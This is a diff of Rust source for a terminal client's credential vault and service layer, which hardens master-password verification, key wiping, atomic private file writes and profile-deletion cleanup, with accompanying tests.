Self::Totp,
|
||||||
|
Self::GithubToken,
|
||||||
|
Self::VncPassword,
|
||||||
|
Self::VncSshPassword,
|
||||||
|
Self::VncSshPassphrase,
|
||||||
|
Self::IrcServerPassword,
|
||||||
|
Self::IrcNickServPassword,
|
||||||
|
Self::IrcSshPassword,
|
||||||
|
Self::IrcSshPassphrase,
|
||||||
|
Self::ProxyPassword,
|
||||||
|
Self::RdpPassword,
|
||||||
|
Self::RdpSshPassword,
|
||||||
|
Self::RdpSshPassphrase,
|
||||||
|
];
|
||||||
|
|
||||||
|
/// The storage name, shared with the Go app.
|
||||||
|
pub fn as_str(self) -> &'static str {
|
||||||
|
match self {
|
||||||
|
Self::Password => "password",
|
||||||
|
Self::Passphrase => "passphrase",
|
||||||
|
Self::Totp => "totp",
|
||||||
|
Self::GithubToken => "github-token",
|
||||||
|
Self::VncPassword => "vnc-password",
|
||||||
|
Self::VncSshPassword => "vnc-ssh-password",
|
||||||
|
Self::VncSshPassphrase => "vnc-ssh-passphrase",
|
||||||
|
Self::IrcServerPassword => "irc-server-password",
|
||||||
|
Self::IrcNickServPassword => "irc-nickserv-password",
|
||||||
|
Self::IrcSshPassword => "irc-ssh-password",
|
||||||
|
Self::IrcSshPassphrase => "irc-ssh-passphrase",
|
||||||
|
Self::ProxyPassword => "proxy-password",
|
||||||
|
Self::RdpPassword => "rdp-password",
|
||||||
|
Self::RdpSshPassword => "rdp-ssh-password",
|
||||||
|
Self::RdpSshPassphrase => "rdp-ssh-passphrase",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn key(self, profile_id: &str) -> String {
|
||||||
|
format!("profile:{profile_id}:{}", self.as_str())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Argon2id with the Go parameters: t=3, m=128 MiB, p=4, 32-byte key. The key is wiped on drop.
|
||||||
|
pub fn derive_key(password: &str, salt: &[u8]) -> Result<Zeroizing<[u8; 32]>> {
|
||||||
let params = argon2::Params::new(128 * 1024, 3, 4, Some(32)).map_err(|e| e.to_string())?;
|
let params = argon2::Params::new(128 * 1024, 3, 4, Some(32)).map_err(|e| e.to_string())?;
|
||||||
let mut key = [0u8; 32];
|
let mut key = Zeroizing::new([0u8; 32]);
|
||||||
argon2::Argon2::new(argon2::Algorithm::Argon2id, argon2::Version::V0x13, params)
|
argon2::Argon2::new(argon2::Algorithm::Argon2id, argon2::Version::V0x13, params)
|
||||||
.hash_password_into(password.as_bytes(), salt, &mut key)
|
.hash_password_into(password.as_bytes(), salt, &mut *key)
|
||||||
.map_err(|e| e.to_string())?;
|
.map_err(|e| e.to_string())?;
|
||||||
Ok(key)
|
Ok(key)
|
||||||
}
|
}
|
||||||
@@ -51,19 +119,23 @@ struct VaultFile {
|
|||||||
version: i64,
|
version: i64,
|
||||||
salt: String,
|
salt: String,
|
||||||
secrets: BTreeMap<String, String>,
|
secrets: BTreeMap<String, String>,
|
||||||
|
/// A known value sealed under the key, so even an empty vault can tell a wrong master
|
||||||
|
/// password.
|
||||||
|
#[serde(default)]
|
||||||
|
verifier: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
const VERIFIER: &[u8] = b"nexus-vault-verifier";
|
||||||
|
|
||||||
|
fn verifier(key: &[u8; 32]) -> String {
|
||||||
|
B64.encode(seal(key, VERIFIER))
|
||||||
}
|
}
|
||||||
|
|
||||||
struct Unlocked {
|
struct Unlocked {
|
||||||
key: [u8; 32],
|
key: Zeroizing<[u8; 32]>,
|
||||||
vault: VaultFile,
|
vault: VaultFile,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Drop for Unlocked {
|
|
||||||
fn drop(&mut self) {
|
|
||||||
self.key.fill(0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub struct Vault {
|
pub struct Vault {
|
||||||
dir: PathBuf,
|
dir: PathBuf,
|
||||||
state: Mutex<Option<Unlocked>>,
|
state: Mutex<Option<Unlocked>>,
|
||||||
@@ -83,7 +155,7 @@ impl Vault {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn is_unlocked(&self) -> bool {
|
pub fn is_unlocked(&self) -> bool {
|
||||||
self.state.lock().unwrap().is_some()
|
self.state.lock().is_some()
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn initialise(&self, password: &str) -> Result<()> {
|
pub fn initialise(&self, password: &str) -> Result<()> {
|
||||||
@@ -91,10 +163,12 @@ impl Vault {
|
|||||||
return Err("secrets: vault already initialised".into());
|
return Err("secrets: vault already initialised".into());
|
||||||
}
|
}
|
||||||
let salt = random_bytes::<32>();
|
let salt = random_bytes::<32>();
|
||||||
let u = Unlocked { key: derive_key(password, &salt)?, vault: VaultFile { version: 1, salt: B64.encode(salt), secrets: BTreeMap::new() } };
|
let key = derive_key(password, &salt)?;
|
||||||
|
let vault = VaultFile { version: 1, salt: B64.encode(salt), secrets: BTreeMap::new(), verifier: verifier(&key) };
|
||||||
|
let u = Unlocked { key, vault };
|
||||||
std::fs::create_dir_all(&self.dir)?;
|
std::fs::create_dir_all(&self.dir)?;
|
||||||
self.save(&u)?;
|
self.save(&u)?;
|
||||||
*self.state.lock().unwrap() = Some(u);
|
*self.state.lock() = Some(u);
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -106,17 +180,21 @@ impl Vault {
|
|||||||
let vault: VaultFile = serde_json::from_slice(&std::fs::read(self.path())?)?;
|
let vault: VaultFile = serde_json::from_slice(&std::fs::read(self.path())?)?;
|
||||||
let salt = B64.decode(&vault.salt).map_err(|e| format!("secrets: corrupt vault salt: {e}"))?;
|
let salt = B64.decode(&vault.salt).map_err(|e| format!("secrets: corrupt vault salt: {e}"))?;
|
||||||
let u = Unlocked { key: derive_key(password, &salt)?, vault };
|
let u = Unlocked { key: derive_key(password, &salt)?, vault };
|
||||||
// An empty vault accepts any password, as in Go; otherwise one entry must decrypt.
|
if u.vault.verifier.is_empty() {
|
||||||
if let Some(v) = u.vault.secrets.values().next() {
|
return Err(format!(
|
||||||
let data = B64.decode(v).unwrap_or_default();
|
"secrets: {} was made by an older version and can't be verified; remove it to create a new secret store",
|
||||||
open(&u.key, &data).map_err(|_| "secrets: incorrect master password or corrupt vault")?;
|
self.path().display()
|
||||||
|
)
|
||||||
|
.into());
|
||||||
}
|
}
|
||||||
*self.state.lock().unwrap() = Some(u);
|
let data = B64.decode(&u.vault.verifier).unwrap_or_default();
|
||||||
|
open(&u.key, &data).map_err(|_| "secrets: incorrect master password or corrupt vault")?;
|
||||||
|
*self.state.lock() = Some(u);
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn lock(&self) {
|
pub fn lock(&self) {
|
||||||
*self.state.lock().unwrap() = None;
|
*self.state.lock() = None;
|
||||||
}
|
}
|
||||||
|
|
||||||
fn save(&self, u: &Unlocked) -> Result<()> {
|
fn save(&self, u: &Unlocked) -> Result<()> {
|
||||||
@@ -125,7 +203,7 @@ impl Vault {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn get(&self, key: &str) -> Result<String> {
|
pub fn get(&self, key: &str) -> Result<String> {
|
||||||
let st = self.state.lock().unwrap();
|
let st = self.state.lock();
|
||||||
let u = st.as_ref().ok_or("secrets: vault is locked")?;
|
let u = st.as_ref().ok_or("secrets: vault is locked")?;
|
||||||
let enc = u.vault.secrets.get(key).ok_or_else(|| format!("secrets: key {key:?} not found"))?;
|
let enc = u.vault.secrets.get(key).ok_or_else(|| format!("secrets: key {key:?} not found"))?;
|
||||||
let data = B64.decode(enc).map_err(|e| format!("failed to decode secret: {e}"))?;
|
let data = B64.decode(enc).map_err(|e| format!("failed to decode secret: {e}"))?;
|
||||||
@@ -133,7 +211,7 @@ impl Vault {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn set(&self, key: &str, value: &str) -> Result<()> {
|
pub fn set(&self, key: &str, value: &str) -> Result<()> {
|
||||||
let mut st = self.state.lock().unwrap();
|
let mut st = self.state.lock();
|
||||||
let u = st.as_mut().ok_or("secrets: vault is locked")?;
|
let u = st.as_mut().ok_or("secrets: vault is locked")?;
|
||||||
let enc = B64.encode(seal(&u.key, value.as_bytes()));
|
let enc = B64.encode(seal(&u.key, value.as_bytes()));
|
||||||
u.vault.secrets.insert(key.to_string(), enc);
|
u.vault.secrets.insert(key.to_string(), enc);
|
||||||
@@ -141,36 +219,44 @@ impl Vault {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn delete_prefix(&self, prefix: &str) -> Result<()> {
|
pub fn delete_prefix(&self, prefix: &str) -> Result<()> {
|
||||||
let mut st = self.state.lock().unwrap();
|
let mut st = self.state.lock();
|
||||||
let u = st.as_mut().ok_or("secrets: vault is locked")?;
|
let u = st.as_mut().ok_or("secrets: vault is locked")?;
|
||||||
u.vault.secrets.retain(|k, _| !k.starts_with(prefix));
|
u.vault.secrets.retain(|k, _| !k.starts_with(prefix));
|
||||||
self.save(u)
|
self.save(u)
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn delete(&self, key: &str) -> Result<()> {
|
pub fn delete(&self, key: &str) -> Result<()> {
|
||||||
let mut st = self.state.lock().unwrap();
|
let mut st = self.state.lock();
|
||||||
let u = st.as_mut().ok_or("secrets: vault is locked")?;
|
let u = st.as_mut().ok_or("secrets: vault is locked")?;
|
||||||
u.vault.secrets.remove(key);
|
u.vault.secrets.remove(key);
|
||||||
self.save(u)
|
self.save(u)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Writes a file readable only by the owner.
|
/// Writes a file readable only by the owner, atomically: the data goes to a sibling temp file
|
||||||
|
/// that replaces `path` only once it is fully written and synced, so a crash can't leave a
|
||||||
|
/// truncated vault or export behind (and an existing file's wider mode is never kept).
|
||||||
pub fn write_private(path: &std::path::Path, data: &[u8]) -> Result<()> {
|
pub fn write_private(path: &std::path::Path, data: &[u8]) -> Result<()> {
|
||||||
use std::io::Write;
|
use std::io::Write;
|
||||||
|
let name = path.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default();
|
||||||
|
let tmp = path.with_file_name(format!(".{name}.tmp-{}", std::process::id()));
|
||||||
let mut opts = std::fs::OpenOptions::new();
|
let mut opts = std::fs::OpenOptions::new();
|
||||||
opts.write(true).create(true).truncate(true);
|
opts.write(true).create(true).truncate(true);
|
||||||
#[cfg(unix)]
|
#[cfg(unix)]
|
||||||
std::os::unix::fs::OpenOptionsExt::mode(&mut opts, 0o600);
|
std::os::unix::fs::OpenOptionsExt::mode(&mut opts, 0o600);
|
||||||
let mut f = opts.open(path)?;
|
let written = (|| {
|
||||||
f.write_all(data)?;
|
let mut f = opts.open(&tmp)?;
|
||||||
f.sync_all()?;
|
f.write_all(data)?;
|
||||||
Ok(())
|
f.sync_all()?;
|
||||||
|
std::fs::rename(&tmp, path)
|
||||||
|
})();
|
||||||
|
if written.is_err() {
|
||||||
|
let _ = std::fs::remove_file(&tmp);
|
||||||
|
}
|
||||||
|
Ok(written?)
|
||||||
}
|
}
|
||||||
|
|
||||||
pub const KEYCHAIN_SERVICE: &str = "NexusTerminal";
|
pub const KEYCHAIN_SERVICE: &str = "NexusTerminal";
|
||||||
/// The service name Alchementary Link wrote under; read as a fallback (§7 of the port plan).
|
|
||||||
pub const LEGACY_KEYCHAIN_SERVICE: &str = "AlchementaryLink";
|
|
||||||
|
|
||||||
/// Runs a keychain call on a plain thread: the D-Bus backend may start its own async runtime,
|
/// Runs a keychain call on a plain thread: the D-Bus backend may start its own async runtime,
|
||||||
/// which panics if the caller is already inside tokio (as SSH authentication is).
|
/// which panics if the caller is already inside tokio (as SSH authentication is).
|
||||||
@@ -179,38 +265,31 @@ fn off_runtime<T: Send + 'static>(f: impl FnOnce() -> T + Send + 'static) -> T {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn entry(service: &str, key: &str) -> keyring::Result<keyring::Entry> {
|
fn entry(service: &str, key: &str) -> keyring::Result<keyring::Entry> {
|
||||||
// go-keyring's Windows target is "service:user"; keyring's default differs.
|
keyring::Entry::new(service, key)
|
||||||
if cfg!(windows) { keyring::Entry::new_with_target(&format!("{service}:{key}"), service, key) } else { keyring::Entry::new(service, key) }
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// The OS keychain. Every call can fail (no secret service, locked keyring); callers fall back
|
/// The OS keychain. Every call can fail (no secret service, locked keyring); callers fall back
|
||||||
/// to the vault.
|
/// to the vault.
|
||||||
pub struct Keychain {
|
pub struct Keychain {
|
||||||
service: String,
|
service: String,
|
||||||
legacy: Option<String>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Keychain {
|
impl Keychain {
|
||||||
pub fn new(service: &str, legacy: Option<&str>) -> Keychain {
|
pub fn new(service: &str) -> Keychain {
|
||||||
Keychain { service: service.into(), legacy: legacy.map(Into::into) }
|
Keychain { service: service.into() }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Probes with a read of an entry that doesn't exist: "no entry" proves the keychain answers,
|
||||||
|
/// without writing an item at every launch (which wakes D-Bus and can prompt on macOS). If
|
||||||
|
/// writes later fail anyway, `Secrets::set_checked` falls back to the vault.
|
||||||
pub fn available(&self) -> bool {
|
pub fn available(&self) -> bool {
|
||||||
let service = self.service.clone();
|
let service = self.service.clone();
|
||||||
off_runtime(move || entry(&service, "__nexus_keychain_probe__").and_then(|e| e.set_password("probe").and_then(|_| e.delete_credential())).is_ok())
|
off_runtime(move || matches!(entry(&service, "__nexus_keychain_probe__").and_then(|e| e.get_password()), Ok(_) | Err(keyring::Error::NoEntry)))
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Reads a secret; a miss under the current service falls back to the legacy one and copies
|
|
||||||
/// the value forward. Legacy items are never deleted, so the old app keeps working.
|
|
||||||
pub fn get(&self, key: &str) -> Option<String> {
|
pub fn get(&self, key: &str) -> Option<String> {
|
||||||
let (service, key2) = (self.service.clone(), key.to_string());
|
let (service, key) = (self.service.clone(), key.to_string());
|
||||||
if let Ok(v) = off_runtime(move || entry(&service, &key2).and_then(|e| e.get_password())) {
|
off_runtime(move || entry(&service, &key).and_then(|e| e.get_password())).ok()
|
||||||
return Some(v);
|
|
||||||
}
|
|
||||||
let (legacy, key2) = (self.legacy.clone()?, key.to_string());
|
|
||||||
let v = off_runtime(move || entry(&legacy, &key2).and_then(|e| e.get_password())).ok()?;
|
|
||||||
let _ = self.set(key, &v);
|
|
||||||
Some(v)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn set(&self, key: &str, value: &str) -> Result<()> {
|
pub fn set(&self, key: &str, value: &str) -> Result<()> {
|
||||||
@@ -249,10 +328,6 @@ impl Secrets {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Stores where possible: the keychain, else the vault if it's unlocked.
|
/// Stores where possible: the keychain, else the vault if it's unlocked.
|
||||||
pub fn set(&self, key: &str, value: &str) {
|
|
||||||
let _ = self.set_checked(key, value);
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn set_checked(&self, key: &str, value: &str) -> Result<()> {
|
pub fn set_checked(&self, key: &str, value: &str) -> Result<()> {
|
||||||
if self.keychain_ok && self.keychain.set(key, value).is_ok() {
|
if self.keychain_ok && self.keychain.set(key, value).is_ok() {
|
||||||
return Ok(());
|
return Ok(());
|
||||||
@@ -270,7 +345,13 @@ impl Secrets {
|
|||||||
let _ = self.vault.delete(key);
|
let _ = self.vault.delete(key);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Removes every credential saved for a profile from both stores.
|
||||||
pub fn delete_profile(&self, profile_id: &str) {
|
pub fn delete_profile(&self, profile_id: &str) {
|
||||||
|
if self.keychain_ok {
|
||||||
|
for kind in SecretKind::ALL {
|
||||||
|
self.keychain.delete(&kind.key(profile_id));
|
||||||
|
}
|
||||||
|
}
|
||||||
let _ = self.vault.delete_prefix(&format!("profile:{profile_id}:"));
|
let _ = self.vault.delete_prefix(&format!("profile:{profile_id}:"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -279,17 +360,6 @@ impl Secrets {
|
|||||||
mod tests {
|
mod tests {
|
||||||
use super::*;
|
use super::*;
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn reads_go_vault_fixture() {
|
|
||||||
let dir = PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("tests/fixtures/vault");
|
|
||||||
let v = Vault::new(dir);
|
|
||||||
assert!(v.is_initialised());
|
|
||||||
assert!(v.unlock("wrong").is_err());
|
|
||||||
v.unlock("correct horse battery staple").unwrap();
|
|
||||||
assert_eq!(v.get("profile:00000000-0000-0000-0000-000000000001:password").unwrap(), "s3cret-ssh");
|
|
||||||
assert_eq!(v.get("profile:00000000-0000-0000-0000-000000000001:totp").unwrap(), "JBSWY3DPEHPK3PXP");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn vault_round_trip() {
|
fn vault_round_trip() {
|
||||||
let dir = std::env::temp_dir().join(format!("nexus-vault-{}", std::process::id()));
|
let dir = std::env::temp_dir().join(format!("nexus-vault-{}", std::process::id()));
|
||||||
@@ -303,4 +373,59 @@ mod tests {
|
|||||||
assert_eq!(v.get("a").unwrap(), "1");
|
assert_eq!(v.get("a").unwrap(), "1");
|
||||||
std::fs::remove_dir_all(dir).unwrap();
|
std::fs::remove_dir_all(dir).unwrap();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn empty_vault_rejects_a_wrong_password_and_unverifiable_vaults_are_refused() {
|
||||||
|
let dir = std::env::temp_dir().join(format!("nexus-vault-verifier-{}", std::process::id()));
|
||||||
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
|
let v = Vault::new(dir.clone());
|
||||||
|
v.initialise("pw").unwrap();
|
||||||
|
v.lock();
|
||||||
|
assert!(v.unlock("typo").is_err(), "an empty vault must not accept any password");
|
||||||
|
v.unlock("pw").unwrap();
|
||||||
|
v.lock();
|
||||||
|
// A vault without a verifier (older format) is refused rather than trusted.
|
||||||
|
let path = dir.join(VAULT_FILE);
|
||||||
|
let mut f: serde_json::Value = serde_json::from_slice(&std::fs::read(&path).unwrap()).unwrap();
|
||||||
|
f.as_object_mut().unwrap().remove("verifier");
|
||||||
|
std::fs::write(&path, f.to_string()).unwrap();
|
||||||
|
assert!(v.unlock("pw").unwrap_err().to_string().contains("older version"));
|
||||||
|
std::fs::remove_dir_all(dir).unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn private_writes_are_atomic_and_owner_only() {
|
||||||
|
let dir = std::env::temp_dir().join(format!("nexus-wp-{}", std::process::id()));
|
||||||
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
|
std::fs::create_dir_all(&dir).unwrap();
|
||||||
|
let path = dir.join("secret.bin");
|
||||||
|
// A pre-existing world-readable file is replaced, not reused.
|
||||||
|
std::fs::write(&path, b"old").unwrap();
|
||||||
|
#[cfg(unix)]
|
||||||
|
std::fs::set_permissions(&path, std::os::unix::fs::PermissionsExt::from_mode(0o644)).unwrap();
|
||||||
|
write_private(&path, b"new").unwrap();
|
||||||
|
assert_eq!(std::fs::read(&path).unwrap(), b"new");
|
||||||
|
#[cfg(unix)]
|
||||||
|
assert_eq!(std::os::unix::fs::PermissionsExt::mode(&std::fs::metadata(&path).unwrap().permissions()) & 0o777, 0o600);
|
||||||
|
// No temp file is left behind, on success or when the target directory is unwritable.
|
||||||
|
assert_eq!(std::fs::read_dir(&dir).unwrap().count(), 1);
|
||||||
|
assert!(write_private(&dir.join("missing").join("x"), b"x").is_err());
|
||||||
|
std::fs::remove_dir_all(dir).unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn deleting_a_profile_clears_every_vault_kind() {
|
||||||
|
let dir = std::env::temp_dir().join(format!("nexus-delprof-{}", std::process::id()));
|
||||||
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
|
let s = Secrets { vault: Vault::new(dir.clone()), keychain: Keychain::new("NexusTerminalTest"), keychain_ok: false };
|
||||||
|
s.vault.initialise("pw").unwrap();
|
||||||
|
for kind in SecretKind::ALL {
|
||||||
|
s.vault.set(&kind.key("p1"), "v").unwrap();
|
||||||
|
}
|
||||||
|
s.vault.set("profile:p2:password", "keep").unwrap();
|
||||||
|
s.delete_profile("p1");
|
||||||
|
assert!(SecretKind::ALL.iter().all(|k| s.get(&k.key("p1")).is_none()));
|
||||||
|
assert_eq!(s.get("profile:p2:password").as_deref(), Some("keep"));
|
||||||
|
std::fs::remove_dir_all(dir).unwrap();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+77
-44
@@ -5,7 +5,8 @@
|
|||||||
use crate::clients::sftp::{self, FileEntry};
|
use crate::clients::sftp::{self, FileEntry};
|
||||||
use crate::config::AppConfig;
|
use crate::config::AppConfig;
|
||||||
use crate::models::*;
|
use crate::models::*;
|
||||||
use crate::secrets::{KEYCHAIN_SERVICE, Keychain, LEGACY_KEYCHAIN_SERVICE, Secrets, Vault};
|
use crate::secrets::SecretKind;
|
||||||
|
use crate::secrets::{KEYCHAIN_SERVICE, Keychain, Secrets, Vault};
|
||||||
use crate::sessions::Manager;
|
use crate::sessions::Manager;
|
||||||
use crate::storage::Store;
|
use crate::storage::Store;
|
||||||
use crate::{Result, exportimport, keyfiles, sshconfig, updater, validation};
|
use crate::{Result, exportimport, keyfiles, sshconfig, updater, validation};
|
||||||
@@ -38,7 +39,7 @@ pub struct SshKeyInfo {
|
|||||||
impl Service {
|
impl Service {
|
||||||
pub fn open(config: AppConfig) -> Result<Service> {
|
pub fn open(config: AppConfig) -> Result<Service> {
|
||||||
let store = Arc::new(Store::open(&config.db_path)?);
|
let store = Arc::new(Store::open(&config.db_path)?);
|
||||||
let secrets = Arc::new(Secrets::new(Vault::new(config.vault_dir.clone()), Keychain::new(KEYCHAIN_SERVICE, Some(LEGACY_KEYCHAIN_SERVICE))));
|
let secrets = Arc::new(Secrets::new(Vault::new(config.vault_dir.clone()), Keychain::new(KEYCHAIN_SERVICE)));
|
||||||
let sessions = Manager::new(store.clone(), secrets.clone(), config.recordings_dir.clone());
|
let sessions = Manager::new(store.clone(), secrets.clone(), config.recordings_dir.clone());
|
||||||
Ok(Service { config, store, secrets, sessions })
|
Ok(Service { config, store, secrets, sessions })
|
||||||
}
|
}
|
||||||
@@ -108,12 +109,17 @@ impl Service {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Opens an unsaved profile (Quick Connect).
|
/// Opens an unsaved profile (Quick Connect).
|
||||||
pub fn connect_quick(&self, mut p: Profile) -> String {
|
/// Validates like a saved profile (so e.g. an empty SSH username fails here, not at auth).
|
||||||
|
pub fn connect_quick(&self, mut p: Profile) -> Result<String> {
|
||||||
if p.id.is_empty() {
|
if p.id.is_empty() {
|
||||||
p.id = new_id();
|
p.id = new_id();
|
||||||
}
|
}
|
||||||
|
if p.display_name.trim().is_empty() {
|
||||||
|
p.display_name = p.host.clone();
|
||||||
|
}
|
||||||
p.normalize();
|
p.normalize();
|
||||||
self.sessions.connect(p)
|
validation::validate_profile(&p).map_err(|e| e.to_string())?;
|
||||||
|
Ok(self.sessions.connect(p))
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn connect_local(&self) -> String {
|
pub fn connect_local(&self) -> String {
|
||||||
@@ -127,21 +133,21 @@ impl Service {
|
|||||||
|
|
||||||
// --- credentials --------------------------------------------------------------------
|
// --- credentials --------------------------------------------------------------------
|
||||||
|
|
||||||
pub fn set_profile_secret(&self, profile_id: &str, kind: &str, value: &str) -> Result<()> {
|
pub fn set_profile_secret(&self, profile_id: &str, kind: SecretKind, value: &str) -> Result<()> {
|
||||||
self.secrets.set_checked(&format!("profile:{profile_id}:{kind}"), value)
|
self.secrets.set_checked(&kind.key(profile_id), value)
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn has_totp(&self, profile_id: &str) -> bool {
|
pub fn has_totp(&self, profile_id: &str) -> bool {
|
||||||
self.secrets.get(&format!("profile:{profile_id}:totp")).is_some()
|
self.secrets.get(&SecretKind::Totp.key(profile_id)).is_some()
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn totp_code(&self, profile_id: &str) -> Result<String> {
|
pub fn totp_code(&self, profile_id: &str) -> Result<String> {
|
||||||
let s = self.secrets.get(&format!("profile:{profile_id}:totp")).ok_or("no TOTP secret configured for this profile")?;
|
let s = self.secrets.get(&SecretKind::Totp.key(profile_id)).ok_or("no TOTP secret configured for this profile")?;
|
||||||
crate::clients::ssh::totp_code(&s).map_err(|e| format!("failed to generate TOTP code: {e}").into())
|
crate::clients::ssh::totp_code(&s).map_err(|e| format!("failed to generate TOTP code: {e}").into())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn delete_totp(&self, profile_id: &str) {
|
pub fn delete_totp(&self, profile_id: &str) {
|
||||||
self.secrets.delete(&format!("profile:{profile_id}:totp"));
|
self.secrets.delete(&SecretKind::Totp.key(profile_id));
|
||||||
}
|
}
|
||||||
|
|
||||||
// --- known hosts, prefs, snippets, audit --------------------------------------------
|
// --- known hosts, prefs, snippets, audit --------------------------------------------
|
||||||
@@ -224,8 +230,10 @@ impl Service {
|
|||||||
if !include_secrets {
|
if !include_secrets {
|
||||||
for p in &mut ps {
|
for p in &mut ps {
|
||||||
if let Some(s) = &mut p.ssh {
|
if let Some(s) = &mut p.ssh {
|
||||||
s.proxy_password.clear();
|
redact_login_script(&mut s.login_scripts);
|
||||||
s.totp_secret.clear();
|
}
|
||||||
|
if let Some(t) = &mut p.telnet {
|
||||||
|
redact_login_script(&mut t.login_scripts);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -266,24 +274,39 @@ impl Service {
|
|||||||
Ok(path)
|
Ok(path)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Imports a `.nexus` (or legacy `.link`) export.
|
/// Imports a `.nexus` export.
|
||||||
pub fn import_encrypted(&self, path: &Path, password: &str, strategy: &str) -> Result<usize> {
|
pub fn import_encrypted(&self, path: &Path, password: &str, strategy: &str) -> Result<usize> {
|
||||||
let ps = exportimport::decrypt_and_import(path, password)?;
|
let ps = exportimport::decrypt_and_import(path, password)?;
|
||||||
self.import(ps, strategy)
|
self.import(ps, strategy)
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn import_ssh_config(&self, path: Option<&Path>, folder: &str) -> Result<usize> {
|
/// Imports Host blocks as profiles; returns (imported, skipped). A block without `User` gets
|
||||||
|
/// the local user name, as `ssh` itself would; blocks that still don't validate are skipped.
|
||||||
|
pub fn import_ssh_config(&self, path: Option<&Path>, folder: &str) -> Result<(usize, usize)> {
|
||||||
let path = path.map(Path::to_path_buf).or_else(sshconfig::default_config_path).ok_or("no ~/.ssh/config found")?;
|
let path = path.map(Path::to_path_buf).or_else(sshconfig::default_config_path).ok_or("no ~/.ssh/config found")?;
|
||||||
let blocks = sshconfig::parse_file(&path)?;
|
let blocks = sshconfig::parse_file(&path)?;
|
||||||
let mut n = 0;
|
let local_user = std::env::var("USER").or_else(|_| std::env::var("USERNAME")).unwrap_or_default();
|
||||||
for p in sshconfig::to_profiles(&blocks, folder) {
|
let (mut n, mut skipped) = (0, 0);
|
||||||
n += self.store.create_profile(&p).is_ok() as usize;
|
for mut p in sshconfig::to_profiles(&blocks, folder) {
|
||||||
|
if p.username.is_empty() {
|
||||||
|
p.username = local_user.clone();
|
||||||
|
}
|
||||||
|
for jh in p.ssh.iter_mut().flat_map(|s| s.jump_hosts.iter_mut()) {
|
||||||
|
if jh.username.is_empty() {
|
||||||
|
jh.username = local_user.clone();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if validation::validate_profile(&p).is_ok() && self.store.create_profile(&p).is_ok() {
|
||||||
|
n += 1;
|
||||||
|
} else {
|
||||||
|
skipped += 1;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
self.store.add_audit("import", "", "", &format!("Imported {n} profile(s)"));
|
self.store.add_audit("import", "", "", &format!("Imported {n} profile(s) from SSH config, skipped {skipped}"));
|
||||||
Ok(n)
|
Ok((n, skipped))
|
||||||
}
|
}
|
||||||
|
|
||||||
// --- SSH keys (via ssh-keygen, as before) -------------------------------------------
|
// --- SSH keys -----------------------------------------------------------------------
|
||||||
|
|
||||||
fn ssh_dir() -> Result<PathBuf> {
|
fn ssh_dir() -> Result<PathBuf> {
|
||||||
let home = std::env::var_os(if cfg!(windows) { "USERPROFILE" } else { "HOME" }).ok_or("unable to determine home directory")?;
|
let home = std::env::var_os(if cfg!(windows) { "USERPROFILE" } else { "HOME" }).ok_or("unable to determine home directory")?;
|
||||||
@@ -310,32 +333,9 @@ impl Service {
|
|||||||
Ok(out)
|
Ok(out)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Generates a key pair in `~/.ssh` in-process (the passphrase never reaches a command line).
|
||||||
pub fn generate_ssh_key(&self, name: &str, kind: &str, bits: u32, passphrase: &str) -> Result<()> {
|
pub fn generate_ssh_key(&self, name: &str, kind: &str, bits: u32, passphrase: &str) -> Result<()> {
|
||||||
let name = keyfiles::validate_ssh_key_name(name)?;
|
crate::clients::ssh::generate_key_pair(&Self::ssh_dir()?, name, kind, bits, passphrase).map(|_| ())
|
||||||
let kind = if kind.trim().is_empty() { "ed25519".to_string() } else { kind.trim().to_lowercase() };
|
|
||||||
let bits = match kind.as_str() {
|
|
||||||
"ed25519" | "ecdsa" => bits,
|
|
||||||
"rsa" if bits == 0 => 4096,
|
|
||||||
"rsa" if [2048, 3072, 4096].contains(&bits) => bits,
|
|
||||||
"rsa" => return Err(format!("unsupported RSA key size {bits} (use 2048, 3072, or 4096)").into()),
|
|
